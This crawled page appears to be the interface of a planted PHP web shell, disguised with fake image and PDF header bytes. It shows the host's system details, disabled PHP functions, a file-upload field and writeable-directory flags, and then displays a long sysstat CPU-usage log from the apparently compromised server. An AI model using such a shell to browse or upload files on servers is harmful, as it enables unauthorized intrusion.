%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/log/sa/sar03
Linux 4.18.0-513.11.1.el8_9.x86_64 (host.digitalbabaji.in) 	2025-11-03 	_x86_64_	(4 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:00        all     46.31      0.02     10.54      0.02      0.01      0.53      0.47      0.00      0.00     42.11
00:10:00          0     44.80      0.00     10.60      0.03      0.01      0.60      1.26      0.00      0.00     42.69
00:10:00          1     47.09      0.06     10.63      0.02      0.01      0.51      0.20      0.00      0.00     41.49
00:10:00          2     46.01      0.00     10.51      0.02      0.01      0.51      0.24      0.00      0.00     42.70
00:10:00          3     47.34      0.00     10.40      0.02      0.01      0.49      0.18      0.00      0.00     41.56
00:20:00        all     50.46      0.09     10.96      0.02      0.01      0.56      0.51      0.00      0.00     37.39
00:20:00          0     48.30      0.17     11.21      0.03      0.01      0.63      1.39      0.00      0.00     38.27
00:20:00          1     51.11      0.04     10.78      0.02      0.01      0.53      0.21      0.00      0.00     37.31
00:20:00          2     50.67      0.15     10.85      0.02      0.01      0.55      0.26      0.00      0.00     37.49
00:20:00          3     51.74      0.02     10.99      0.03      0.01      0.53      0.20      0.00      0.00     36.50
00:30:00        all     48.01      0.01     10.79      0.02      0.01      0.55      0.54      0.00      0.00     40.08
00:30:00          0     45.60      0.00     10.77      0.02      0.01      0.62      1.49      0.00      0.00     41.49
00:30:00          1     48.82      0.03     10.72      0.02      0.01      0.51      0.20      0.00      0.00     39.68
00:30:00          2     48.81      0.01     10.70      0.02      0.01      0.53      0.27      0.00      0.00     39.65
00:30:00          3     48.82      0.01     10.96      0.02      0.01      0.51      0.19      0.00      0.00     39.49
00:40:00        all     45.66      0.02     10.55      0.05      0.01      0.53      0.50      0.00      0.00     42.69
00:40:00          0     44.00      0.00     10.57      0.06      0.01      0.61      1.35      0.00      0.00     43.41
00:40:00          1     45.73      0.05     10.44      0.04      0.01      0.50      0.20      0.00      0.00     43.03
00:40:00          2     46.44      0.00     10.67      0.05      0.01      0.53      0.25      0.00      0.00     42.05
00:40:00          3     46.47      0.01     10.53      0.04      0.01      0.50      0.18      0.00      0.00     42.28
00:50:00        all     44.66      0.11     10.50      0.02      0.01      0.52      0.47      0.00      0.00     43.72
00:50:00          0     43.26      0.09     10.51      0.02      0.01      0.59      1.27      0.00      0.00     44.26
00:50:00          1     45.38      0.15     10.53      0.02      0.01      0.50      0.19      0.00      0.00     43.22
00:50:00          2     45.02      0.05     10.51      0.02      0.01      0.51      0.23      0.00      0.00     43.65
00:50:00          3     44.98      0.14     10.45      0.03      0.01      0.48      0.18      0.00      0.00     43.73
01:00:00        all     44.07      0.02     10.41      0.02      0.01      0.52      0.45      0.00      0.00     44.51
01:00:00          0     42.32      0.00     10.55      0.02      0.01      0.59      1.20      0.00      0.00     45.32
01:00:00          1     44.22      0.00     10.32      0.02      0.01      0.49      0.19      0.00      0.00     44.75
01:00:00          2     45.21      0.01     10.32      0.02      0.01      0.51      0.22      0.00      0.00     43.71
01:00:00          3     44.54      0.06     10.44      0.02      0.01      0.48      0.18      0.00      0.00     44.28
01:10:00        all     44.69      0.03     10.52      0.02      0.01      0.52      0.45      0.00      0.00     43.77
01:10:00          0     42.95      0.04     10.57      0.02      0.01      0.59      1.19      0.00      0.00     44.62
01:10:00          1     45.68      0.02     10.64      0.03      0.01      0.50      0.19      0.00      0.00     42.94
01:10:00          2     45.47      0.00     10.58      0.02      0.01      0.51      0.22      0.00      0.00     43.19
01:10:00          3     44.65      0.04     10.30      0.02      0.01      0.48      0.18      0.00      0.00     44.33
01:20:00        all     43.99      0.01     10.38      0.02      0.01      0.51      0.44      0.00      0.00     44.64
01:20:00          0     42.73      0.00     10.57      0.02      0.01      0.58      1.18      0.00      0.00     44.92
01:20:00          1     44.21      0.01     10.29      0.02      0.01      0.48      0.19      0.00      0.00     44.80
01:20:00          2     45.14      0.00     10.43      0.01      0.01      0.50      0.22      0.00      0.00     43.69
01:20:00          3     43.88      0.04     10.24      0.02      0.01      0.47      0.17      0.00      0.00     45.16
01:30:00        all     45.42      0.01     10.48      0.02      0.01      0.52      0.46      0.00      0.00     43.08
01:30:00          0     43.57      0.00     10.49      0.02      0.01      0.59      1.24      0.00      0.00     44.08
01:30:00          1     46.51      0.00     10.63      0.02      0.01      0.51      0.19      0.00      0.00     42.14
01:30:00          2     45.91      0.04     10.40      0.03      0.01      0.50      0.23      0.00      0.00     42.88
01:30:00          3     45.69      0.02     10.39      0.02      0.01      0.49      0.17      0.00      0.00     43.21
01:40:00        all     43.23      0.02     10.18      0.02      0.01      0.51      0.44      0.00      0.00     45.59
01:40:00          0     42.05      0.02     10.24      0.02      0.01      0.58      1.19      0.00      0.00     45.89
01:40:00          1     44.21      0.02     10.18      0.02      0.01      0.49      0.19      0.00      0.00     44.89
01:40:00          2     43.88      0.04     10.21      0.02      0.01      0.50      0.22      0.00      0.00     45.11
01:40:00          3     42.78      0.00     10.08      0.02      0.01      0.46      0.17      0.00      0.00     46.48
01:50:00        all     43.98      0.02     10.33      0.02      0.01      0.51      0.45      0.00      0.00     44.68
01:50:00          0     41.78      0.03     10.23      0.02      0.01      0.58      1.21      0.00      0.00     46.13
01:50:00          1     44.70      0.00     10.28      0.02      0.01      0.48      0.19      0.00      0.00     44.32
01:50:00          2     45.09      0.00     10.48      0.02      0.01      0.52      0.23      0.00      0.00     43.66
01:50:00          3     44.34      0.03     10.34      0.02      0.01      0.48      0.18      0.00      0.00     44.62

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:00        all     43.15      0.03     10.20      0.02      0.01      0.50      0.43      0.00      0.00     45.66
02:00:00          0     41.24      0.01     10.32      0.02      0.01      0.57      1.14      0.00      0.00     46.70
02:00:00          1     43.64      0.00     10.13      0.01      0.01      0.48      0.19      0.00      0.00     45.55
02:00:00          2     43.81      0.10     10.13      0.02      0.01      0.50      0.21      0.00      0.00     45.23
02:00:00          3     43.90      0.01     10.25      0.02      0.01      0.47      0.17      0.00      0.00     45.17
02:10:00        all     45.69      0.01     10.75      0.04      0.01      0.53      0.46      0.00      0.00     42.51
02:10:00          0     43.69      0.00     10.65      0.05      0.01      0.59      1.21      0.00      0.00     43.80
02:10:00          1     46.87      0.04     10.78      0.05      0.01      0.50      0.20      0.00      0.00     41.55
02:10:00          2     46.11      0.01     10.78      0.04      0.01      0.52      0.23      0.00      0.00     42.29
02:10:00          3     46.09      0.00     10.77      0.04      0.01      0.50      0.19      0.00      0.00     42.41
02:20:00        all     44.39      0.02     10.50      0.02      0.01      0.52      0.46      0.00      0.00     44.08
02:20:00          0     43.37      0.00     10.74      0.02      0.01      0.59      1.24      0.00      0.00     44.01
02:20:00          1     44.76      0.01     10.39      0.02      0.01      0.49      0.19      0.00      0.00     44.14
02:20:00          2     44.93      0.03     10.48      0.03      0.01      0.51      0.23      0.00      0.00     43.78
02:20:00          3     44.51      0.03     10.40      0.02      0.01      0.48      0.18      0.00      0.00     44.38
02:30:00        all     45.22      0.01     10.60      0.02      0.01      0.53      0.45      0.00      0.00     43.16
02:30:00          0     43.56      0.00     10.83      0.02      0.01      0.59      1.22      0.00      0.00     43.78
02:30:00          1     46.64      0.00     10.69      0.02      0.01      0.51      0.20      0.00      0.00     41.94
02:30:00          2     45.67      0.01     10.42      0.01      0.01      0.52      0.23      0.00      0.00     43.13
02:30:00          3     45.01      0.04     10.45      0.02      0.01      0.49      0.18      0.00      0.00     43.81
02:40:00        all     49.20      0.01     10.89      0.07      0.01      0.53      0.45      0.00      0.00     38.84
02:40:00          0     47.44      0.00     10.93      0.07      0.01      0.60      1.20      0.00      0.00     39.75
02:40:00          1     49.14      0.04     11.00      0.08      0.01      0.50      0.19      0.00      0.00     39.05
02:40:00          2     50.51      0.02     10.86      0.09      0.01      0.53      0.22      0.00      0.00     37.77
02:40:00          3     49.70      0.00     10.77      0.04      0.01      0.50      0.18      0.00      0.00     38.80
02:50:00        all     47.51      0.11     10.81      0.03      0.01      0.52      0.46      0.00      0.00     40.55
02:50:00          0     46.36      0.12     10.86      0.04      0.01      0.58      1.25      0.00      0.00     40.77
02:50:00          1     47.84      0.07     10.68      0.03      0.01      0.49      0.19      0.00      0.00     40.70
02:50:00          2     47.79      0.04     10.67      0.03      0.01      0.52      0.23      0.00      0.00     40.72
02:50:00          3     48.04      0.20     11.04      0.02      0.01      0.49      0.18      0.00      0.00     40.02
03:00:00        all     54.55      0.01     11.07      0.02      0.01      0.56      0.47      0.00      0.00     33.31
03:00:00          0     53.85      0.03     11.46      0.03      0.01      0.63      1.24      0.00      0.00     32.76
03:00:00          1     54.83      0.00     10.88      0.03      0.01      0.53      0.20      0.00      0.00     33.52
03:00:00          2     54.86      0.01     11.11      0.02      0.01      0.56      0.24      0.00      0.00     33.19
03:00:00          3     54.67      0.01     10.84      0.02      0.01      0.53      0.19      0.00      0.00     33.75
03:10:00        all     62.46      0.02     11.93      0.03      0.01      0.61      0.51      0.00      0.00     24.45
03:10:00          0     61.62      0.05     12.05      0.04      0.01      0.65      1.34      0.00      0.00     24.26
03:10:00          1     63.65      0.01     12.04      0.03      0.01      0.60      0.22      0.00      0.00     23.45
03:10:00          2     62.36      0.00     11.97      0.03      0.01      0.60      0.26      0.00      0.00     24.78
03:10:00          3     62.21      0.01     11.65      0.03      0.01      0.57      0.21      0.00      0.00     25.32
03:20:00        all     61.03      0.01     11.79      0.03      0.01      0.61      0.54      0.00      0.00     25.99
03:20:00          0     59.59      0.00     12.21      0.03      0.01      0.66      1.44      0.00      0.00     26.06
03:20:00          1     61.44      0.01     11.61      0.02      0.01      0.60      0.22      0.00      0.00     26.09
03:20:00          2     61.42      0.03     11.65      0.03      0.01      0.61      0.29      0.00      0.00     25.97
03:20:00          3     61.66      0.00     11.68      0.04      0.01      0.57      0.21      0.00      0.00     25.84
03:30:00        all     44.58      0.08     10.46      0.02      0.01      0.52      0.47      0.00      0.00     43.86
03:30:00          0     41.46      0.07     10.30      0.04      0.01      0.56      1.30      0.00      0.00     46.27
03:30:00          1     46.08      0.02     10.59      0.02      0.01      0.52      0.19      0.00      0.00     42.57
03:30:00          2     46.08      0.00     10.58      0.02      0.01      0.51      0.23      0.00      0.00     42.58
03:30:00          3     44.70      0.23     10.39      0.02      0.01      0.47      0.17      0.00      0.00     44.02
03:40:00        all     49.55      0.03     12.00      0.17      0.01      0.56      0.48      0.00      0.00     37.19
03:40:00          0     47.64      0.01     12.11      0.19      0.01      0.61      1.28      0.00      0.00     38.14
03:40:00          1     50.86      0.08     12.00      0.14      0.01      0.55      0.21      0.00      0.00     36.16
03:40:00          2     49.85      0.03     11.95      0.18      0.01      0.55      0.25      0.00      0.00     37.18
03:40:00          3     49.86      0.00     11.95      0.17      0.01      0.52      0.20      0.00      0.00     37.29

03:40:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
03:50:00        all     56.67      0.01     12.80      0.20      0.01      0.61      0.79      0.00      0.00     28.91
03:50:00          0     53.43      0.01     13.43      0.24      0.01      0.67      2.34      0.00      0.00     29.88
03:50:00          1     57.37      0.01     12.35      0.20      0.01      0.59      0.23      0.00      0.00     29.25
03:50:00          2     57.65      0.02     12.70      0.20      0.01      0.61      0.37      0.00      0.00     28.44
03:50:00          3     58.23      0.01     12.74      0.17      0.01      0.56      0.22      0.00      0.00     28.07
04:00:00        all     52.47      0.18     12.95      0.20      0.01      0.60      0.52      0.00      0.00     33.07
04:00:00          0     50.71      0.12     13.23      0.19      0.01      0.65      1.35      0.00      0.00     33.75
04:00:00          1     52.22      0.42     12.75      0.20      0.01      0.59      0.23      0.00      0.00     33.57
04:00:00          2     53.49      0.05     12.88      0.19      0.01      0.59      0.28      0.00      0.00     32.51
04:00:00          3     53.47      0.11     12.95      0.21      0.01      0.57      0.22      0.00      0.00     32.46
04:10:00        all     54.76      0.01     12.89      0.19      0.01      0.60      0.54      0.00      0.00     31.00
04:10:00          0     52.68      0.00     13.03      0.20      0.01      0.65      1.45      0.00      0.00     31.98
04:10:00          1     55.44      0.03     12.83      0.19      0.01      0.58      0.23      0.00      0.00     30.71
04:10:00          2     55.85      0.00     12.95      0.21      0.01      0.60      0.28      0.00      0.00     30.11
04:10:00          3     55.07      0.02     12.76      0.16      0.01      0.57      0.22      0.00      0.00     31.19
04:20:00        all     54.22      0.02     13.24      0.61      0.01      0.60      0.55      0.00      0.00     30.75
04:20:00          0     51.94      0.01     13.49      0.46      0.01      0.66      1.44      0.00      0.00     32.00
04:20:00          1     54.91      0.01     13.15      0.40      0.01      0.57      0.24      0.00      0.00     30.71
04:20:00          2     54.85      0.01     13.23      0.90      0.01      0.60      0.29      0.00      0.00     30.11
04:20:00          3     55.19      0.04     13.11      0.69      0.01      0.57      0.22      0.00      0.00     30.16
04:30:00        all     53.04      0.03     13.42      0.17      0.01      0.61      0.54      0.00      0.00     32.18
04:30:00          0     51.11      0.00     13.84      0.17      0.01      0.66      1.41      0.00      0.00     32.79
04:30:00          1     54.16      0.04     13.32      0.17      0.01      0.59      0.24      0.00      0.00     31.48
04:30:00          2     53.34      0.02     13.22      0.21      0.01      0.61      0.29      0.00      0.00     32.30
04:30:00          3     53.56      0.04     13.29      0.13      0.01      0.57      0.23      0.00      0.00     32.17
04:40:00        all     52.48      0.11     13.14      0.21      0.01      0.60      0.50      0.00      0.00     32.95
04:40:00          0     50.25      0.17     13.34      0.19      0.01      0.65      1.27      0.00      0.00     34.12
04:40:00          1     52.75      0.08     12.85      0.20      0.01      0.57      0.23      0.00      0.00     33.32
04:40:00          2     53.64      0.13     13.38      0.21      0.01      0.61      0.26      0.00      0.00     31.76
04:40:00          3     53.28      0.06     13.00      0.25      0.01      0.57      0.22      0.00      0.00     32.62
04:50:00        all     54.31      0.03     13.37      0.19      0.01      0.60      0.51      0.00      0.00     30.97
04:50:00          0     51.69      0.01     13.63      0.19      0.01      0.66      1.30      0.00      0.00     32.52
04:50:00          1     54.82      0.05     13.38      0.21      0.01      0.58      0.24      0.00      0.00     30.72
04:50:00          2     55.58      0.03     13.25      0.19      0.01      0.60      0.27      0.00      0.00     30.06
04:50:00          3     55.15      0.04     13.24      0.19      0.01      0.58      0.23      0.00      0.00     30.58
05:00:00        all     54.17      0.02     14.40      0.56      0.01      0.63      0.53      0.00      0.00     29.69
05:00:00          0     52.19      0.02     14.51      0.56      0.01      0.68      1.32      0.00      0.00     30.72
05:00:00          1     55.66      0.02     14.49      0.56      0.01      0.60      0.26      0.00      0.00     28.41
05:00:00          2     54.42      0.02     14.32      0.60      0.01      0.63      0.30      0.00      0.00     29.71
05:00:00          3     54.39      0.03     14.29      0.52      0.01      0.59      0.26      0.00      0.00     29.92
05:10:00        all     45.40      0.02     11.19      0.08      0.01      0.52      0.45      0.00      0.00     42.33
05:10:00          0     44.48      0.04     11.39      0.07      0.01      0.59      1.19      0.00      0.00     42.24
05:10:00          1     45.83      0.00     10.97      0.11      0.01      0.50      0.20      0.00      0.00     42.38
05:10:00          2     45.42      0.02     11.09      0.06      0.01      0.51      0.23      0.00      0.00     42.67
05:10:00          3     45.88      0.00     11.30      0.11      0.01      0.49      0.19      0.00      0.00     42.03
05:20:00        all     51.03      0.03     11.27      0.03      0.01      0.54      0.52      0.00      0.00     36.58
05:20:00          0     49.24      0.02     11.15      0.03      0.01      0.59      1.43      0.00      0.00     37.53
05:20:00          1     51.81      0.00     11.30      0.02      0.01      0.51      0.20      0.00      0.00     36.15
05:20:00          2     52.36      0.07     11.43      0.04      0.01      0.55      0.28      0.00      0.00     35.27
05:20:00          3     50.71      0.01     11.18      0.04      0.01      0.50      0.19      0.00      0.00     37.36
05:30:00        all     58.36      0.02     12.55      0.06      0.01      0.58      0.53      0.00      0.00     27.90
05:30:00          0     56.71      0.02     12.50      0.05      0.01      0.62      1.41      0.00      0.00     28.68
05:30:00          1     58.96      0.01     12.47      0.07      0.01      0.56      0.21      0.00      0.00     27.72
05:30:00          2     58.58      0.02     12.80      0.06      0.01      0.58      0.27      0.00      0.00     27.69
05:30:00          3     59.22      0.02     12.42      0.06      0.01      0.56      0.20      0.00      0.00     27.51

05:30:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
05:40:00        all     48.82      0.02     11.26      0.05      0.01      0.53      0.49      0.00      0.00     38.82
05:40:00          0     47.42      0.01     11.35      0.05      0.01      0.59      1.36      0.00      0.00     39.22
05:40:00          1     48.40      0.05     11.23      0.06      0.01      0.50      0.20      0.00      0.00     39.56
05:40:00          2     49.35      0.01     11.45      0.05      0.01      0.54      0.24      0.00      0.00     38.37
05:40:00          3     50.10      0.00     11.02      0.06      0.01      0.50      0.18      0.00      0.00     38.13
05:50:00        all     43.14      0.01     10.38      0.04      0.01      0.49      0.41      0.00      0.00     45.51
05:50:00          0     41.82      0.04     10.47      0.03      0.01      0.56      1.10      0.00      0.00     45.96
05:50:00          1     43.80      0.01     10.45      0.06      0.01      0.47      0.18      0.00      0.00     45.04
05:50:00          2     43.38      0.00     10.25      0.05      0.01      0.48      0.20      0.00      0.00     45.63
05:50:00          3     43.57      0.00     10.36      0.04      0.01      0.46      0.16      0.00      0.00     45.41
06:00:00        all     44.14      0.02     10.42      0.02      0.01      0.50      0.42      0.00      0.00     44.48
06:00:00          0     42.71      0.00     10.50      0.03      0.01      0.56      1.12      0.00      0.00     45.07
06:00:00          1     44.11      0.06     10.33      0.02      0.01      0.47      0.18      0.00      0.00     44.82
06:00:00          2     44.10      0.00     10.23      0.02      0.01      0.49      0.21      0.00      0.00     44.95
06:00:00          3     45.63      0.00     10.64      0.02      0.01      0.47      0.17      0.00      0.00     43.07
06:10:00        all     44.06      0.03     10.45      0.05      0.01      0.51      0.43      0.00      0.00     44.47
06:10:00          0     41.72      0.01     10.47      0.05      0.01      0.56      1.16      0.00      0.00     46.02
06:10:00          1     44.84      0.00     10.48      0.07      0.01      0.50      0.18      0.00      0.00     43.94
06:10:00          2     44.45      0.09     10.42      0.03      0.01      0.49      0.21      0.00      0.00     44.30
06:10:00          3     45.22      0.00     10.43      0.05      0.01      0.47      0.17      0.00      0.00     43.64
06:20:00        all     42.55      0.01     10.13      0.02      0.01      0.49      0.41      0.00      0.00     46.37
06:20:00          0     40.97      0.00     10.21      0.03      0.01      0.54      1.11      0.00      0.00     47.13
06:20:00          1     43.10      0.00     10.08      0.02      0.01      0.47      0.17      0.00      0.00     46.15
06:20:00          2     42.67      0.04      9.96      0.02      0.01      0.48      0.20      0.00      0.00     46.62
06:20:00          3     43.48      0.00     10.28      0.02      0.01      0.45      0.16      0.00      0.00     45.60
06:30:00        all     43.82      0.08     10.25      0.04      0.01      0.50      0.45      0.00      0.00     44.86
06:30:00          0     42.45      0.12     10.44      0.07      0.01      0.56      1.22      0.00      0.00     45.12
06:30:00          1     44.46      0.13     10.16      0.02      0.01      0.48      0.18      0.00      0.00     44.57
06:30:00          2     44.40      0.03     10.26      0.03      0.01      0.48      0.22      0.00      0.00     44.58
06:30:00          3     43.96      0.06     10.13      0.04      0.01      0.46      0.16      0.00      0.00     45.19
06:40:00        all     43.58      0.10     10.27      0.06      0.01      0.50      0.46      0.00      0.00     45.03
06:40:00          0     41.81      0.15     10.50      0.06      0.01      0.56      1.26      0.00      0.00     45.65
06:40:00          1     45.21      0.03     10.41      0.05      0.01      0.50      0.18      0.00      0.00     43.61
06:40:00          2     43.11      0.07      9.91      0.06      0.01      0.49      0.22      0.00      0.00     46.14
06:40:00          3     44.20      0.15     10.25      0.05      0.01      0.46      0.16      0.00      0.00     44.72
06:50:00        all     43.03      0.01     10.37      0.03      0.01      0.50      0.46      0.00      0.00     45.59
06:50:00          0     40.87      0.00     10.53      0.04      0.01      0.56      1.27      0.00      0.00     46.72
06:50:00          1     43.66      0.05     10.33      0.03      0.01      0.49      0.18      0.00      0.00     45.25
06:50:00          2     44.44      0.00     10.47      0.02      0.01      0.49      0.23      0.00      0.00     44.34
06:50:00          3     43.16      0.00     10.12      0.02      0.01      0.46      0.16      0.00      0.00     46.07
07:00:00        all     43.87      0.03     10.56      0.04      0.01      0.51      0.47      0.00      0.00     44.51
07:00:00          0     41.03      0.05     10.63      0.06      0.01      0.57      1.31      0.00      0.00     46.34
07:00:00          1     45.20      0.01     10.61      0.03      0.01      0.50      0.18      0.00      0.00     43.47
07:00:00          2     44.92      0.01     10.44      0.03      0.01      0.51      0.23      0.00      0.00     43.86
07:00:00          3     44.34      0.03     10.57      0.03      0.01      0.47      0.17      0.00      0.00     44.37
07:10:00        all     45.08      0.01     10.74      0.03      0.01      0.51      0.46      0.00      0.00     43.17
07:10:00          0     43.15      0.00     10.82      0.03      0.01      0.57      1.24      0.00      0.00     44.18
07:10:00          1     45.87      0.00     10.79      0.03      0.01      0.49      0.19      0.00      0.00     42.63
07:10:00          2     45.35      0.04     10.62      0.01      0.01      0.50      0.22      0.00      0.00     43.24
07:10:00          3     45.95      0.00     10.73      0.04      0.01      0.47      0.17      0.00      0.00     42.63
07:20:00        all     44.12      0.02     10.48      0.03      0.01      0.50      0.44      0.00      0.00     44.41
07:20:00          0     42.49      0.00     10.48      0.02      0.01      0.55      1.20      0.00      0.00     45.25
07:20:00          1     45.90      0.06     10.78      0.03      0.01      0.48      0.18      0.00      0.00     42.55
07:20:00          2     44.84      0.00     10.52      0.03      0.01      0.49      0.22      0.00      0.00     43.90
07:20:00          3     43.25      0.01     10.15      0.03      0.01      0.46      0.16      0.00      0.00     45.94

07:20:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
07:30:00        all     43.21      0.01     10.33      0.02      0.01      0.50      0.43      0.00      0.00     45.49
07:30:00          0     40.77      0.00     10.32      0.02      0.01      0.56      1.18      0.00      0.00     47.15
07:30:00          1     44.07      0.01     10.38      0.02      0.01      0.48      0.18      0.00      0.00     44.85
07:30:00          2     44.04      0.00     10.38      0.02      0.01      0.49      0.21      0.00      0.00     44.85
07:30:00          3     43.97      0.04     10.24      0.03      0.01      0.46      0.16      0.00      0.00     45.10
07:40:00        all     44.39      0.02     10.72      0.02      0.01      0.51      0.48      0.00      0.00     43.86
07:40:00          0     42.39      0.01     10.94      0.01      0.01      0.58      1.32      0.00      0.00     44.73
07:40:00          1     45.74      0.00     10.76      0.02      0.01      0.49      0.19      0.00      0.00     42.80
07:40:00          2     44.98      0.00     10.61      0.02      0.01      0.50      0.23      0.00      0.00     43.65
07:40:00          3     44.45      0.05     10.56      0.02      0.01      0.47      0.17      0.00      0.00     44.27
07:50:00        all     44.78      0.02     10.76      0.04      0.01      0.51      0.45      0.00      0.00     43.43
07:50:00          0     42.85      0.06     10.95      0.07      0.01      0.59      1.23      0.00      0.00     44.26
07:50:00          1     44.94      0.00     10.53      0.03      0.01      0.49      0.18      0.00      0.00     43.82
07:50:00          2     45.75      0.04     10.81      0.03      0.01      0.51      0.22      0.00      0.00     42.62
07:50:00          3     45.57      0.00     10.74      0.03      0.01      0.47      0.17      0.00      0.00     43.01
08:00:00        all     43.22      0.01     10.41      0.02      0.01      0.51      0.46      0.00      0.00     45.37
08:00:00          0     41.01      0.00     10.53      0.02      0.01      0.58      1.27      0.00      0.00     46.58
08:00:00          1     44.46      0.00     10.43      0.02      0.01      0.49      0.18      0.00      0.00     44.42
08:00:00          2     44.24      0.03     10.44      0.02      0.01      0.49      0.23      0.00      0.00     44.55
08:00:00          3     43.19      0.01     10.23      0.02      0.01      0.46      0.17      0.00      0.00     45.92
08:10:00        all     44.05      0.02     10.67      0.02      0.01      0.51      0.46      0.00      0.00     44.25
08:10:00          0     42.38      0.03     10.78      0.02      0.01      0.58      1.26      0.00      0.00     44.94
08:10:00          1     44.70      0.03     10.67      0.03      0.01      0.48      0.19      0.00      0.00     43.90
08:10:00          2     44.53      0.03     10.59      0.02      0.01      0.50      0.23      0.00      0.00     44.10
08:10:00          3     44.57      0.01     10.66      0.02      0.01      0.47      0.17      0.00      0.00     44.09
08:20:00        all     46.42      0.01     10.57      0.02      0.01      0.52      0.50      0.00      0.00     41.94
08:20:00          0     44.55      0.00     10.42      0.03      0.01      0.58      1.39      0.00      0.00     43.03
08:20:00          1     47.10      0.04     10.67      0.02      0.01      0.50      0.19      0.00      0.00     41.46
08:20:00          2     47.46      0.00     10.75      0.01      0.01      0.52      0.26      0.00      0.00     41.00
08:20:00          3     46.58      0.01     10.44      0.02      0.01      0.48      0.17      0.00      0.00     42.29
08:30:01        all     44.97      0.02     10.58      0.02      0.01      0.51      0.48      0.00      0.00     43.42
08:30:01          0     43.00      0.00     10.42      0.01      0.01      0.57      1.32      0.00      0.00     44.66
08:30:01          1     46.23      0.00     10.67      0.02      0.01      0.49      0.18      0.00      0.00     42.41
08:30:01          2     45.30      0.06     10.59      0.02      0.01      0.50      0.23      0.00      0.00     43.29
08:30:01          3     45.36      0.00     10.64      0.02      0.01      0.48      0.17      0.00      0.00     43.32
08:40:00        all     46.60      0.13     10.95      0.07      0.01      0.54      0.47      0.00      0.00     41.25
08:40:00          0     45.16      0.05     10.96      0.06      0.01      0.59      1.29      0.00      0.00     41.87
08:40:00          1     47.26      0.13     10.83      0.08      0.01      0.52      0.19      0.00      0.00     41.00
08:40:00          2     47.11      0.09     11.09      0.06      0.01      0.53      0.24      0.00      0.00     40.88
08:40:00          3     46.87      0.24     10.90      0.07      0.01      0.50      0.18      0.00      0.00     41.24
08:50:00        all     42.99      0.01     10.42      0.02      0.01      0.50      0.45      0.00      0.00     45.60
08:50:00          0     41.44      0.04     10.47      0.02      0.01      0.57      1.24      0.00      0.00     46.21
08:50:00          1     44.14      0.00     10.45      0.02      0.01      0.49      0.18      0.00      0.00     44.71
08:50:00          2     43.75      0.01     10.56      0.02      0.01      0.49      0.22      0.00      0.00     44.95
08:50:00          3     42.62      0.00     10.18      0.03      0.01      0.46      0.16      0.00      0.00     46.55
09:00:01        all     43.41      0.01     10.49      0.02      0.01      0.50      0.47      0.00      0.00     45.09
09:00:01          0     41.24      0.01     10.60      0.02      0.01      0.57      1.30      0.00      0.00     46.26
09:00:01          1     44.04      0.05     10.45      0.02      0.01      0.48      0.18      0.00      0.00     44.79
09:00:01          2     43.30      0.01     10.22      0.02      0.01      0.48      0.22      0.00      0.00     45.75
09:00:01          3     45.08      0.00     10.70      0.02      0.01      0.47      0.17      0.00      0.00     43.55
09:10:00        all     43.48      0.01     10.45      0.02      0.01      0.49      0.44      0.00      0.00     45.10
09:10:00          0     40.90      0.00     10.28      0.02      0.01      0.56      1.21      0.00      0.00     47.03
09:10:00          1     43.89      0.03     10.44      0.04      0.01      0.46      0.18      0.00      0.00     44.95
09:10:00          2     44.95      0.00     10.59      0.02      0.01      0.49      0.21      0.00      0.00     43.74
09:10:00          3     44.20      0.01     10.49      0.02      0.00      0.46      0.16      0.00      0.00     44.67

09:10:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
09:20:00        all     51.41      0.01     11.67      0.02      0.01      0.54      0.52      0.00      0.00     35.83
09:20:00          0     49.64      0.00     11.86      0.02      0.01      0.60      1.44      0.00      0.00     36.43
09:20:00          1     52.20      0.00     11.75      0.02      0.01      0.51      0.20      0.00      0.00     35.33
09:20:00          2     52.25      0.01     11.58      0.01      0.01      0.54      0.25      0.00      0.00     35.35
